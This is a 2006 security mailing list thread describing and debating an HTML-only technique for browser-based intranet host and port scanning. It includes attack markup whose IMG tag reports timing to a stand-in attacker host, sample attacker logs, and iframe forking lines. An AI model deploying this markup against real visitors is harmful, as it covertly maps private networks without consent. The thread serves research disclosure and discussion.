[WEB SECURITY] Browser Port Scanning without JavaScript
Jeremiah Grossman
jeremiah at whitehatsec.com
Thu Nov 30 12:49:15 EST 2006
Ilia Alshanetsky has already found a way to improve upon the
technique using the obscure content-type "multipart/x-mixed-replace".
There's a great write up and some PHP PoC code to go with it. Good
stuff!
Network Scanning with HTTP without JavaScript
http://ilia.ws/archives/145-Network-Scanning-with-HTTP-without-
JavaScript.html
RSnake has some coverage as well, with Portscanning Without
JavaScript Part 2
http://ha.ckers.org/blog/20061130/portscanning-without-javascript-
part-2/
Regards,
Jeremiah-
On Nov 29, 2006, at 5:12 PM, Jeremiah Grossman wrote:
> Heya Amit,
>
> Your right on top of things as usual. :) With this yet to be
> smoothed out technique my goal was indeed that of port scanning,
> which I still think possible, similar to my previous JS work. As
> you quickly noticed the results more resembles a ping sweep since
> #2 and #3 have similar timing. This is valuable information to be
> sure, but I'd like more. It could be possible that once you know
> the host is up, a second order test could be used to tell if the
> port is in fact open. We'll see, lots of hypotheticals though.
> Either way to goal of publishing was to let people in on a little
> trick so they might try to take it further than I have.
>
> A thread on slackers has been posted to share results.
> http://sla.ckers.org/forum/read.php?12,3452
>
>
> Regards,
>
> Jeremiah-
>
>
>
> On Nov 29, 2006, at 12:51 AM, Amit Klein wrote:
>
>
>> Hi Jer
>>
>> I read your recent blog entry about JS-less PORT-scanning (http://
>> jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-
>> without.html ). And there's something I don't understand. You
>> explicitly write PORT scanning. Yet I fail to see how this method
>> verifies that a certain port is open (or not) in an Intranet host.
>> The way I see it, there are three scenarios:
>>
>> 1. The host does not exist. In such case, the browser times out,
>> resulting in a long time delta between the page download and the
>> IMG request.
>>
>> 2. The host exists, but the port is not open. In such case, the
>> TCP handshake will fail with RST, i.e. one roundtrip to the
>> Intranet host (typically few dozen milliseconds). The time delta
>> between the page download and the IMG request comprises mostly of
>> the round trip between the hacker's server and the client's
>> machine (the Intranet roundtrip is probably negligible).
>>
>> 3. The host exists, and the port is open. In such case, the TCP
>> handshake will succeed (one roundtrip to the Intranet host),
>> followed by another roundtrip (HTTP request + response [not
>> necessarily in HTTP...]). However, the time delta (2 Intranet
>> roundtrips) is still quite likely negligible compared to the
>> roundtrip to the hacker's server.
>>
>> My point is - it's very hard to distinguish #2 and #3 using your
>> method. In other words, I doubt if you can tell whether a port is
>> open or not. So the net effect of your method is to tell whether a
>> host exists or not, hence it's not PORT mapping - it's HOST mapping.
>>
>> Ciao,
>> -Amit
>>
>
>
> On Nov 28, 2006, at 5:33 PM, Jeremiah Grossman wrote:
>
>> Blogged: http://jeremiahgrossman.blogspot.com/2006/11/browser-port-
>> scanning-without.html
>>
>> Since my Intranet Hacking Black Hat (Vegas 2006) presentation,
>> I've spent a lot of time researching HTML-only browser malware
>> since many experts now disable JavaScript. Imagine that! Using
>> some timing tricks, I've discovered a way to perform Intranet Port
>> Scanning with a web browser using only HTML. Its really hacky, but
>> it can do the job. Unfortunately time constraints are preventing
>> me from finishing the proof-of-concept code anytime soon. Instead
>> of waiting I decided to describe the idea so maybe others could
>> try it out. Here's how its supposed to work... there are the two
>> important lines of HTML:
>>
>> <* link rel="stylesheet" type="text/css" href="http://
>> 192.168.1.100/" />
>> <* img src="http://attacker/check_time.pl?ip=192.168.1.100&start=
>> epoch_timer" />
>>
>> The LINK tag has the unique behavior of causing the browser
>> (Firefox) to stop parsing the rest of the web page until its HTTP
>> request (for 192.168.1.100) has finished. The purpose of the IMG
>> tag is as a timer and data transport mechanism back to the
>> attacker. One the web page is loaded, at some point in the future
>> a request is received by check_time.pl. By comparing the current
>> epoch to the initial “epoch_timer” value (when the web page was
>> dynamically generated) its possible to tell if the host is up. If
>> the time difference is less than say 5 seconds then likely the
>> host is up, if more, then the host is probably down (browser
>> waited for timeout). Simple.
>>
>> Example (attacker web server logs)
>>
>> /check_time.pl?ip=192.168.1.100&start=1164762276
>> Current epoch: 1164762279
>> (3 second delay) - Host is up
>>
>> /check_time.pl?ip=192.168.1.100&start=1164762276
>> Current epoch: 1164762286
>> (10 second delay) - Host is down
>>
>> A few browser/network nuances have caused stability and accuracy
>> headaches, plus the technique is somewhat slow to scan with. To
>> fork the connections I used multiple IFRAMES HTML connections,
>> which seemed to work.
>>
>> <* iframe src="/portscan.pl?ip=192.168.201.100" scrolling="no"><* /
>> iframe>
>> <* iframe src="/portscan.pl?ip=192.168.201.101" scrolling="no"><* /
>> iframe>
>> <* iframe src="/portscan.pl?ip=192.168.201.102" scrolling="no"><* /
>> iframe>
>>
>> I'm pretty sure most of the issues can be worked around, but like
>> I said, I lack the time. If anyone out there takes this up as a
>> cause, let me know, I have some Perl scraps if you want them. Enjoy!
>>
>>
>>
>> Regards,
>>
>> Jeremiah Grossman
>> Chief Technology Officer
>> WhiteHat Security, Inc.
>> http://www.whitehatsec.com/
>> blog: http://jeremiahgrossman.blogspot.com/
>>
>>
>> ---------------------------------------------------------------------
>> -------
>> The Web Security Mailing List:
>> http://www.webappsec.org/lists/websecurity/
>>
>> The Web Security Mailing List Archives:
>> http://www.webappsec.org/lists/websecurity/archive/
>> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
>>
>
>
> ----------------------------------------------------------------------
> ------
> The Web Security Mailing List:
> http://www.webappsec.org/lists/websecurity/
>
> The Web Security Mailing List Archives:
> http://www.webappsec.org/lists/websecurity/archive/
> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
>
----------------------------------------------------------------------------
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
More information about the websecurity
mailing list